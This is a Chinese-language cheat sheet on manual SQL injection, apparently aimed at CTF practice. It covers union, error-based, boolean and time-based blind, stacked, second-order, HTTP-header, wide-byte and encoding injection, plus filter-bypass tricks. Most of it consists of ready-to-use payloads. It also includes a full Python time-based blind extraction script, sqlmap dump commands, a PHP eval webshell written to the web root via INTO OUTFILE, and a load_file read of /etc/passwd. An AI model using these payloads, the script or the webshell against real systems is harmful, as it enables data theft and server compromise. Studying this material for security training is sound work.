SQL手工注入基本步骤
注入姿势
步骤
1.寻找注入点(和数据库有交互的地方)与数据传输的类型
登录,注册,搜索框
2.判断闭合方式
先判断是数字型还是字符型
?id=1a
:数字型:报错 字符型:正常
再判断闭合方式(字符型)
?id=1a
(先加单引号,再加双引号,直到报错)
注意:‘’
、“”
、 ()
、{}
都是成双成对
验证输入内容数据库能否执行(加单引号让SQL语句发生错误,破坏SQL语句的完整性,没有达到SQL语句语法规则,从而判断可实现sql注入)
1 | ?id=1' and 1=1 #页面返回正常 |
如果发现一开始页面先是正常然后是异常的话,说明页面存在注入。当然这里是最基本的判断方法,到后面盲注的时候是用延时函数来观察页面的返回时间的
先按报错法找到可能的闭合方式,在加注释看哪个闭合方式可以正常访问
3.查询字段数目
1 | ?id=1' order by 3 # |
默认按照升序对记录进行排序,可用desc
关键字按照降序对记录进行排序
order by后面的列数大于实际的列数就会报错
联合查询注入
注意:UNION 操作符用于合并两个或多个 SELECT 语句的结果
判断回显(假设3列)
1 | ?id=-1' union select 1,2,3 # |
触发错误的方式:-1’
、 1’ and 1=2
、 1’ or 1=1
爆破数据(假设回显位为2)
数据库名
1 | ?id=-1' union select 1,database(),3 # |
查表名
1 | ?id=-1' union select 1, group_concat(table_name) ,3 from information_schema.tables where table_schema=database() # |
查列名
1 | ?id=-1' union select 1, group_concat(column_name) ,3 from information_schema.columns where table_name='表名' # |
具体数据
1 | ?id=-1 union select 1,group_concat(列名1,列名2) ,3 from 表名 # |
一些默认数据库有关知识
table_schema
:数据库名
table_name
:表名
column_name
:列名
information_schema.tables
:数据库的表名
information_schema.columns
:数据库的列名
limit m,n
m:是指记录开始的位置,从0开始,表示第一条记录
n:是指取n条记录
limit 0,1 表示从第一条记录开始,表示取第一条记录
一些常见函数
1.
concat
:将多个字符串连成一个字符串
concat(str1,str2)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null
2.
concat_ws
:concat
特殊形式,多了个分隔符
concat_ws(separator,str1,str2,…)
在处理 NULL值时不会返回 NULL
3.
group_concat()
:将多行结果连接为一行字符串4.
substr
:用来截取数据库某个字段中的一部分
substr(string,start,length)
例如,获取
column_name
列的前 10 个字符
1 >select substr(列名, 1, 10) from 表名5.
ascii
:返回字符串str最左边的数值
ascii(str)
报错注入
通过特殊函数错误使用并使其输出错误结果来获取信息
报错注入为啥会回显?
因为有字符(如
~
)不满足xml的格式导致报错
在遇有报错回显但没数据回显时可利用
报错注入函数
floor():向下取整
1 ?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) # //获取数据库名extractvalue():对XML文档进行查询的函数,当参数格式不正确而产生的错误,会返回参数的信息
语法:
extractvalue(XML_document,XPath_string);
payload:
1 and (extractvalue(1,concat(0x7e,select database()),0x7e))注:其一次只能查询32位长度
updatexml():更新XML文档的函数,原理和extractvalue一样
语法:
updatexml(XML_document,XPath_string,new_value);
payload:
1 updatexml(1,concat(0x7e,(select database()),0x7e),1)exp():以e为底的指数函数
1.爆数据库名
1 | and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),1,31)),1) |
2,爆表名
1 | and updatexml(1, concat(0x7e, mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31)),1) # |
3.爆列名
1 | and updatexml(1, concat(0x7e, mid((select group_concat(column_name) from information_schema.columns where table_name='表名'),1,31)),1) # |
4.爆值
1 | and updatexml(1, concat(0x7e, mid((select group_concat(列1,0x3a,列2) from 表名),1,31)),1) # |
盲注
看不到返回数据情况下通过差异(包括运行时间的差异和页面返回结果的差异)来判断
布尔盲注
在页面中,正确执行和错误执行SQL语句返回页面不一样,基于两种页面,来判断SQL语句正确与否,达到获取数据的目的
几个盲注函数
length():返回字符串的长度
limit(a,b):从第(a+1)行开始,取数量为b行的数据
substr():截取字符串
ascii():返回字符的ascii码,其同名函数ord用于过滤ascii的过滤
left(a,b):从左侧截取a的前b位
-
判断数据库的长度:
1
id=1 and (length(database())>3)
-
判断数据库的具体名称:
1
id=1 and (ascii(substr(database(),x,1))>110)
-
判断表的个数:
1
2id=1 and length((select table_name from information_schema.tables where table_schema=database() limit x,1))>0
//上例若x=0则用来判断是否存在表 -
判断表的长度:
1
2id=1 and length((select table_name from information_schema.tables where table_schema=database() limit x,1))=4
//上例用来判断第(x+1)个表长度是否为4 -
判断表名:
1
2id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))=110
//上例用来判断第(x+1)个表的第y个字符ascii码是否为110 -
判断列的个数:
1
2id=1 and (select count(column_name) from information_schema.columns where table_name="flag")=1
//上例用来判断flag表的列数 -
判断列的长度:
1
id=1 and ascii(substr((select column_name from information_schema.columns where table_name = "flag"), 4,1))
-
判断列名:
1
id=1 and ascii(substr((select column_name from information_schema.columns where table_name = "flag"), 1,1))=102
-
查值(虚拟机中):
1
sqlmap -r 1.txt --technique B -D web -T flag -C value --dump --level 3 --risk 3
时间盲注
通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态
sleep()
:将程序挂起n秒后响应
if(expr1,expr2,expr3)
:如果expr1是true,则if()的返回值为expr2,否则返回值则为expr3
-
判断注入点:
1
‘ and sleep(5) #
-
判断数据库的长度:
1
id=1 and if(length(database())=4,sleep(3),1)
-
判断数据库的具体名称:
1
id=1 and if(ascii(substr(database(),x,1))>110,sleep(3),1)
-
判断表的个数:
1
id=1 and if((select count(table_name) from information_schema.tables where table_schema=database())=x,sleep(3),1) //这里的x从1开始判断数据库中存在的表的数量
-
判断表名:
1
id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))=110,sleep(3),1)
-
判断列的个数:
1
id=1 and if((select count(column_name) from information_schema.columns where table_name='flag')=x,sleep(3),1) //这里的x从1开始判断flag表中存在的字段数量
-
判断列名:
1
id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),x,1))=xxx,sleep(3),1)//这里的x是从1开始判断字段的位置,xxx对应了具体的ascii值
-
查值(虚拟机中):
1
sqlmap -r 1.txt --technique T -D web -T flag -C value --dump --level 3 --risk 3
时间盲注脚本(post型)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48 >import requests
import string
import time
#配置目标 URL 和基础信息
url = "........"
username_template = "' or if((select substr(value,{index},1) from flag)='{char}',sleep(3),0)#"
#填写payload
password = "0"
#用于测试的字符集(可以根据实际情况扩展)
charset = string.ascii_letters + string.digits + "{}_-"
def time_blind_injection():
extracted_value = ""
index = 1 # 从第1个字符开始
while True:
found = False
for char in charset:
payload = username_template.format(index=index, char=char)
start_time = time.time()
# 发送 POST 请求
response = requests.post(url, data={"username": payload, "password": password})
elapsed_time = time.time() - start_time
# 判断响应时间是否超过3秒
if elapsed_time > 3:
extracted_value += char
print(f"[+] Found character at position {index}: {char}")
found = True
break
if not found: # 如果在当前索引没有找到字符,说明到达字符串末尾
print("[+] Extraction complete!")
break
index += 1
return extracted_value
if __name__ == "__main__":
print("[*] Starting time-based blind SQL injection...")
result = time_blind_injection()
print(f"[+] Extracted value: {result}")
盲注更提倡用sqlmap自动化
堆叠查询注入
堆叠查询可以执行多条语句,多条语句间以分号隔开
例如php中的**mysql_multi_query()
,pymysql中的cursor.execute()
**支持多条sql语句同时执行
查数据库:
1 | 0';show databases;# |
查表:
1 | 0';show tables;# |
查列:
1 | 0';show columns from 表名;# |
查数据(使用预处理语句):
1 | //select被绕过时,使用concat函数将select进行连接过滤 |
更新注入
更新类的操作的返回结果都是布尔型,无法返回数据
1 | insert into user(username,password,role) values('admin' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '', 'passwd', 'editor') |
1 | update user set password = 'ikun666' where id = 9 or extractvalue(1, concat(0x7e, version(), 0x7e)); |
二次注入
二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行
利用条件:知道数据库中的列名且使用了magic_quote_gpc
等对引号过滤
例如存在注册和登录两个点击框,在注册的时候添加一些特殊字符,创建成功后,登录进行修改密码,发现报错语句,这里就可以判定是存在二次注入的,在注册的时候写入,然后再修改密码的地方修改密码后触发,这样就导致错误的输出,这里有错误的回显就可以使用报错注入来进行注入
HTTP头注入
HTTP头部注入是通过HTTP协议头部字段值进行注入,常存在于referer
、X-Forwarded-For
、Cookie
、X-Real-IP
、Accept-Language
、Authorization
,User-Agent
User-Agent注入
判断注入点:user-agent
值后面加上'
,引发报错,确定存在sql注入
采用报错注入函数获取当前数据库名
1 | ' and updatexml(1,concat(0x7e,(database()),0x7e),0) and ' |
cookie注入
采用联合注入或报错注入
1 | -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='数据库名' |
剩下的就是需要查询表中的字段和字段的详细信息,和普通SQL注入同理
Referer注入
XFF注入
宽字节注入
利用条件:数据库使用了GBK编码,使用magic_quotes_gpc
对引号过滤
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符’',来做一定的过滤
\的编码是%5c,输入%df'
,经过过滤处理后会变成%df\'
也就是%df%5c
,GBK编码中文字符’運’
原理:汉字url编码2位,利用汉字的一半编码与/组合过滤
接着与正常注入步骤一样
1 | ?id=-1%df%27 union select 1,2,database()%23 |
但后续查表会出现单引号(但其会被转义),用嵌套查询
1 | ?id=20%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database())%23 |
1 | ?id=20%df%27 union select 1,2,column_name from information_schema.columns where table_schema = (select database()) and table_name = (select table_name from information_schema.tables where table_schema = (select database())limit 0, 1)limit 0,1 %23 |
二次编码注入
利用条件:目标站点使用了urldecode()解码
%
的url编码为:%25
'
的url编码为:%27
%25%27
,URL解码后是%27
也就是'
MySQL写入webshell
拿下数据库后如果有权限的话可以读取文件或者写入webshell
利用前提
1.secure_file_priv
为空
1 | show global variables like '%secure%' |
secure_file_priv =
任意路径读写
secure_file_priv = path
只能在该指定路径下读写
secure_file_priv = null
不能读写
2.具有写入文件权限
3.知道网站绝对路径
写入文件
使用into outfile()
将一句话写入网站目录
1 | select '<?php eval($_POST[cmd];?)>' into outfile '\/var\/www\/html\/shell.php'; |
读取文件
使用load_file()
函数读取文件
1 | ?id=-1 union select 1,2,load_file('//etc//passwd') |
绕过方式
注释符
1 | '#', '--+', '-- -', '%23', '%00', '/**/' |
#
一般在post传参,%23
一般在get传参
and,or 过滤
1 | # 可以使用"&&"和"||"代替 |
关键词绕过
大小写绕过
1 | id=-1' UnIoN SeLeCT xxx |
双写绕过
1 | id=-1'UNIunionONSeLselectECT1,2,3–- |
编码绕过
可以使用URL,hex,ASCII等编码绕过
例如’or 1=1可用27%20%4F%52%201%3D%31%20%2D%2D
注释绕过
内联注释/**/将关键词分隔开
1 | UN/**/ION SE/**/LECT |
空格绕过
内联注释代替空格
1 | id=1/**/and/**/1=1 |
括号嵌套
1 | select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database()); |
制表符、换行、不可见空格
1 | %09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)%0c(换页符),%20(空格) |
反引号
1 | union(select`table_name`,`table_type`from`information_schema`.`tables`); |
=被过滤
可以用like(其子句中用%来表示任意字符)或rlike,也可以用regexp(不区分大小写,若需要大小写敏感,加binary)来绕过
比如=‘admin’ 就可以like ‘admin’
逗号过滤
逗号被过滤时可以使用from...for...
1 | select substr(select database() from 1 for 1); |
limit中的逗号可以替换成offset
1 | select * from users limit 1 offset 2; |
limit 1,2
是从第一行往后取2行(包括第一行和第二行)
limit 1 offset 2
是从第一行开始只取第二行
False注入
1 | select * from users where username = 0; # 查询表中所有数据 |
其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据
绕过引号构造0的方法
1 | select * from users where username = ''+''; |
等价函数
if()与 case…when…then…else…end
1 | 0' or if((ascii(substr((select database()),1,1))>97),1,0)# |
sleep()与benchmark()
benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断
1 | ?id=1 AND BENCHMARK(5000000, MD5('test')) |
concat_ws()与group_concat()
1 | select group_concat(database()); |
substr()与substring()/ipad()/rpad()/left()/mid()
参考: